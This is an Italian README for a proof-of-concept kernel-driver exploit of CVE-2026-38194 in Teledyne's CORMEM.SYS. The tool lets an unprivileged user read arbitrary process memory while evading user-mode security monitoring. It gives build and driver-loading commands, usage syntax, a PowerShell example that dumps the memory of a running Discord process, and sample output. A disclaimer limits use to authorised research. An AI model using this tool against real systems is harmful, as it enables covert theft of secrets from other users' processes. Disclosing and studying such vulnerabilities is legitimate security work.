
Questo strumento dimostra CVE-2026-38194, una vulnerabilità in Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 e precedenti). Il driver del kernel CORMEM.SYS espone IOCTL senza alcun controllo degli accessi, consentendo a un utente standard non privilegiato di leggere e scrivere memoria arbitraria di processi direttamente attraverso il kernel — bypassando il monitoraggio delle API Win32
DICHIARAZIONE DI NON RESPONSABILITÀ:
Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. Utilizzalo solo su sistemi di tua proprietà o per cui hai ottenuto esplicita autorizzazione. L'uso non autorizzato potrebbe essere illegale nella tua giurisdizione.
Questo strumento dimostra la CVE-2026-38194, una vulnerabilità in Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 e precedenti).
Il driver kernel CORMEM.SYS espone IOCTL senza alcun controllo di accesso,
permettendo a un utente standard non privilegiato di leggere e scrivere la memoria di qualsiasi processo
direttamente attraverso il kernel — bypassando completamente il monitoraggio delle API Win32.

La memoria viene acceduta tramite traduzione dell'indirizzo fisico (page table walk) anziché tramite ReadProcessMemory, rendendola trasparente alla maggior parte dei software di sicurezza in spazio utente.
cmake -B build -A x64
cmake --build build --config Release
Se CORMEM.SYS non è già caricato, caricalo manualmente come amministratore:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
Scarica quando hai finito:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <indirizzo> [dimensione]
pid ID processo (decimale)
indirizzo Indirizzo virtuale da leggere (hex)
dimensione Byte da scaricare, default 256, massimo 1048576
# Ottieni il processo principale di Discord
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
Output previsto:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
Il 4D 5A all'offset 0 conferma che l'intestazione MZ è stata letta con successo dalla RAM fisica.